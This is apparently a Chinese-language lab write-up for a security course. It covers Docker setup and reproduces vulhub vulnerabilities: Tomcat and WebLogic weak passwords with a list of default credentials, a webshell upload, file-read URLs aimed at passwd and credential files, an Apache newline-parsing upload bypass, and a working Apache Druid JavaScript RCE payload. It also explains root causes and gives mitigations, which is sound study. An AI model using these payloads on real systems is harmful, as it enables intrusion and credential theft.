相关知识
1. Docker简介
Docker是一组平台即服务(PaaS)的产品。它基于操作系统层级的虚拟化技术,将软件与其依赖项打包为容器。托管容器的软件称为Docker引擎。Docker能够帮助开发者在轻量级容器中自动部署应用程序,并使得不同容器中的应用程序彼此隔离,高效工作。
简单来说,Docker 通过对应用组件的封装、分发、部署、运行等生命周期的管理使用户的APP(可以是一个WEB应用或数据库应用等等)及其运行环境能够做到“一次封装,多次运行”。
Docker镜像的设计,使得Docker得以打破过去「程序即应用」的观念。透过镜像(images)将作业系统核心除外,运作应用程式所需要的系统环境,由下而上打包,达到应用程式跨平台间的无缝接轨运作。
2. 虚拟机技术
虚拟机(virtual machine)就是带环境安装的一种解决方案。 它可以在一种操作系统里面运行另一种操作系统,比如在Windows系统里面运行Linux系统。应用程序对此毫无感知,因为虚拟机看上去跟真实系统一模一样,而对于底层系统来说虚拟机就是一个普通文件,不需要了就删掉,对其他部分毫无影响。这类虚拟机完美的运行了另一套系统,能够使应用程序,操作系统和硬件三者之间的逻辑不变。
虚拟机的缺点:1.资源占用多。2.冗余步骤多。3.启动慢。
3. 容器化
由于前面虚拟机存在这些缺点,Linux发展出了另一种虚拟化技术:Linux 容器(Linux Containers,缩写为LXC)。Linux 容器不是模拟一个完整的操作系统,而是对进程进行隔离。有了容器,就可以将软件运行所需的所有资源打包到一个隔离的容器中。容器与虚拟机不同,不需要捆绑一整套操作系统,只需要软件工作所需的库资源和设置。系统因此而变得高效轻量并保证部署在任何环境中的软件都能始终如一地运行。
4. Docker常用命令
docker info --输出docker信息
docker images --列出本地主机镜像
docker search --在docker hub中查询镜像
docker pull 镜像名 --在docker hub中拖取镜像
docker rm 镜像名 --删除某个镜像
docker run 镜像名/镜像ID --启动某个容器
docker ps -a --查看所有容器
docker start/restart/stop/kill/rm 容器名/ID --启动/重启/停止/杀死/删除容器
1. 在vps安装docker和docker-compose
1.1 安装docker
我的vps(阿里云服务器)是Ubuntu操作系统,可以使用下面的命令安装docker:
apt install docker.io -y 1
1.2 启动docker服务
systemctl start docker
systemctl enable docker
docker --version
1.3 配置docker加速器
由于⽹络原因,下载docker镜像时可能会很慢。为了加快下载速度,我配置了docker加速器(添加了阿里源)。
vim /etc/docker/daemon.json
//编辑 /etc/docker/daemon.json ⽂件,在下面添加阿里源,如果没有这个文件,vim也会自动创建。
systemctl daemon-reload
systemctl restart docker
1.4 查看docker信息
docker info
1.5 安装dockers-compose
apt-get install docker-compose
docker-compose --version
2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
2.1 安装vulhub
git clone https://github.com/vulhub/vulhub.git
2.2 tomcat 弱口令/后台文件上传getshell
2.2.1 漏洞复现:
拉取镜像
浏览器访问
点击右侧Manager App弹出登录页面,使用tomcat的弱口令tomcat/tomcat
可以直接登录。
登录成功后可以发现下面可以上传war包(查询了解到:war包:war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等),访问上传的shell路径getshell
之前使用冰蝎,发现可以生成.jsp的恶意文件。于是用冰蝎生成.jsp文件:
但是要上传的是war包,可以在这里打开终端将文件压缩成war:
jar -cvf shell.war shell.jsp
在上传war包的位置上传该war包:
上传成功:
冰蝎连接:
2.2.2 漏洞成因:
首先tomcat存在弱口令漏洞(管理员账号密码设置过于简单,没有采取一些相应的安全手段:如限制输入长度,限制输入次数等),利用弱口令漏洞进入manage平台,并且tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下(没有采取相应的安全手段来防止攻击者利用文件上传漏洞),上传恶意文件就可以获取shell。
2.3 weblogic 弱口令/任意文件读取
2.3.1 漏洞复现:
拉取镜像
浏览器访问
存在弱口令:weblogic / Oracle@123,使用弱口令登录。
weblogic常用弱口令:
system / password
weblogic / weblogic
admin / secruity
joe / password
mary / password
system / security
wlcsystem / wlcsystem
wlpisystem / wlpisystem
admin / admin
weblogic / Oracle@123
本环境存在任意文件读取漏洞,利用方法:
http://your-ip:7001/hello/file.jsp?path= #接文件路径
不知道密码时可以访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd,从而读取passwd文件,打开这个url会直接下载该文件。
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。
ps:SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,在bp的repeater模块选中读取到的那一串乱码,右键copy to file就可以保存成一个文件。
读取SerializedSystemIni.dat文件,用bp抓包:
http://your-ip:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
再读取config.xml文件,用bp抓包:
http://your-ip:7001/hello/file.jsp?path=config/config.xml
在响应信息中找到加密后的管理员密钥,复制密钥备用:
然后进行解密:
2.3.2 漏洞成因:
首先该环境存在弱口令漏洞(管理员密码设置过于简单,缺少安全手段阻止暴力破解等手段),就算不知道管理员密码,我们也发现了该系统存在任意文件读取漏洞,通过相关手段也同样能获取到管理员密码。
2.4 apache 换行解析
2.4.1 漏洞复现:
拉取镜像
浏览器访问
查看一下上传文件的php文件:
该程序是采用黑名单的形式,如果文件后缀名不在名单内即可上传,所以 .php\x0A
不在黑名单列表中,可以上传。但是x0A
是换行符,所以apache会直接忽略,将其当成php来执行。
冰蝎创建木马:
上传木马,然后打开burpsuite,开始抓包:
点击 Hex按钮,进入十六进制编辑页面,并找到文件名shell.php的位置,然后在文件名后插入0A,这个位置也就是在 0d 0a的前面,点击0d右键instert byte:
然后点击 Forward按钮,这时候浏览器上什么也没有显示,但是此时文件已经上传成功了。
使用冰蝎连接 http://your-ip:8080/shell.php%0A
2.4.2 漏洞成因:
apache在2.4.0-2.4.29版本中存在一个解析漏洞。程序在解析PHP时,如果文件名最后有一个换行符x0A
,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单。
2.5 apache druid RCE
2.5.1 漏洞复现:
拉取镜像:
浏览器访问:
依次点击Load data
—> Local disk
—> Connect data:
点击右侧 base directory填入 quickstart/tutorial/;file filter填入:wikiticker-2015-09-12-sampled.json.gz:
打开bp抓包,点击apply:
send to repeater,然后修改POST请求包为以下内容:
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
send之后,可以看到成功执行id命令:
2.5.2 漏洞成因:
Apache Druid 能够执行嵌入在各种类型的请求中的用户提供的 JavaScript 代码。此功能旨在用于高信任环境,默认情况下处于禁用状态。但是,在 Druid 0.20.0 及更早版本中,经过身份验证的用户可以发送特制的请求,强制 Druid 为该请求运行用户提供的 JavaScript 代码,而不管服务器配置如何。这可以用来以 Druid 服务器进程的权限在目标计算机上执行代码。
3.总结RCE漏洞的原理和利用条件及解决方案
3.1 RCE(远程代码执行)漏洞的原理:
开发人员在开发应用程序时,如果没有对用户的输入进行严格的验证和过滤;
或者某些应用需要动态执行用户提交的代码或命令,如果在这个过程中未进行适当的安全控制,
那么攻击者就可以构造恶意输入,然后向目标系统远程发送恶意输入,系统执行了攻击者指定的代码,从而控制目标系统。
3.2 利用条件:
- 服务器端代码中调用了能够执行系统命令的函数。
- 用户能够控制这个函数的参数,从而攻击者能构造恶意输入。
- 服务器端没有对该函数的参数进行进行严格的验证和过滤。
3.3 解决方案:
- 对应用程序中的所有输入点进行严格的验证和过滤,确保输入数据符合预期格式和范围。
- 开发过程中,使用安全函数和库,避免使用已知存在安全问题的函数和库,使用更安全的替代品。
- 定期进行代码审计,以发现和修复潜在的RCE漏洞。
- 及时关注并使用所有系统及其依赖库的安全更新和补丁,以修复已知的RCE漏洞。